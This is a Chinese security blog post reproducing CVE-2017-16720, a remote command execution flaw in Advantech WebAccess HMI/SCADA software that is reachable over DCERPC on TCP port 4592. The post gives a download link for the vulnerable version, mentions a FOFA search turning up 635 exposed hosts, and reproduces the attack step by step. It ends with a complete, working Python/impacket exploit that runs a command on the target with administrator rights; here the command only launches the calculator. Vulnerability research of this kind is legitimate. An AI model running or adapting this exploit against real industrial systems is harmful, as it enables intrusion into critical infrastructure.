美文网首页
【工控安全】CVE-2017-16720-Advantech W

【工控安全】CVE-2017-16720-Advantech W

作者: TideSec安全团队 | 来源:发表于2019-11-11 16:14 被阅读0次

    漏洞编号

    CVE-2017-16720

    漏洞说明

    研华WebAccess是全世界第一套全浏览器架构的HMI/SCADA组态软件,可以无缝整合研华工业自动化事业群的产品,主要分为智能基础建设与智能制造两大类,这两类产品也同时组成了研华在智能自动化的物联网架构,而研华WebAccess正是这个物联网架构的核心。

    此漏洞允许攻击者使用RPC协议通过TCP端口4592执行远程命令。

    通过利用恶意分布式计算环境/远程过程调用(DCERPC),webvrpcs.exe服务将命令行指令传递给主机, webvrpcs.exe服务以管理员访问权限运行。版本小于8.3、8.3.1、8.3.2仍然存在特定的安全漏洞。

    影响范围

    在FOFA中搜索app="Advantech-WebAccess"词条,共检索出635条结果(不排除已修复的系统)。

    漏洞复现

    通过官方渠道,下载存在该漏洞的版本程序

    http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe

    安装环境:Windows Server 2008 R2 x64

    安装一律默认NEXT即可,TCP端口也无需自定义,默认程序端口4592。

    安装完成后重启计算机,查看本机开放端口情况。

    可以看到端口4592已经正常开放。

    使用CVE-2017-16720的EXP脚本,对搭载Advantech WebAccess 8.2-2017.08.18程序的服务器进行攻击。

    如果漏洞攻击成功,利用EXP脚本发送系统命令执行指令到服务器上,服务器会执行对应指令,弹出计算器。

    可以看到服务器弹出了计算器,证明漏洞利用成功!

    附件

    CVE-2017-16720-EXP.py

    #!/usr/bin/python2.7
    
    import sys, struct
    from impacket import uuid
    from impacket.dcerpc.v5 import transport
    
    def call(dce, opcode, stubdata):
      dce.call(opcode, stubdata)
      res = -1
      try:
        res = dce.recv()
      except Exception, e:
        print "Exception encountered..." + str(e)
        sys.exit(1)
      return res
    
    if len(sys.argv) != 2:
      print "Provide only host arg"
      sys.exit(1)
    
    port = 4592
    interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
    version = "1.0" 
    
    host = sys.argv[1]
    
    string_binding = "ncacn_ip_tcp:%s" % host
    trans = transport.DCERPCTransportFactory(string_binding)
    trans.set_dport(port)
    
    dce = trans.get_dce_rpc()
    dce.connect()
    
    print "Binding..."
    iid = uuid.uuidtup_to_bin((interface, version))
    dce.bind(iid)
    
    print "...1"
    stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
    call(dce, 2, stubdata)
    
    print "...2"
    stubdata = struct.pack("<I", 0x02)
    res = call(dce, 4, stubdata)
    if res == -1:
      print "Something went wrong"
      sys.exit(1)
    res = struct.unpack("III", res)
    
    if (len(res) < 3):
      print "Received unexpected length value"
      sys.exit(1)
    
    print "...3"
    # ioctl 0x2711
    stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204)
    command = "..\\..\\windows\\system32\\calc.exe"
    fmt = "<" + str(0x204) + "s"
    stubdata += struct.pack(fmt, command)
    call(dce, 1, stubdata)
    
    print "\nDid it work?"
    
    dce.disconnect()
    
    

    相关文章

      网友评论

          本文标题:【工控安全】CVE-2017-16720-Advantech W

          本文链接:https://www.haomeiwen.com/subject/qvvtictx.html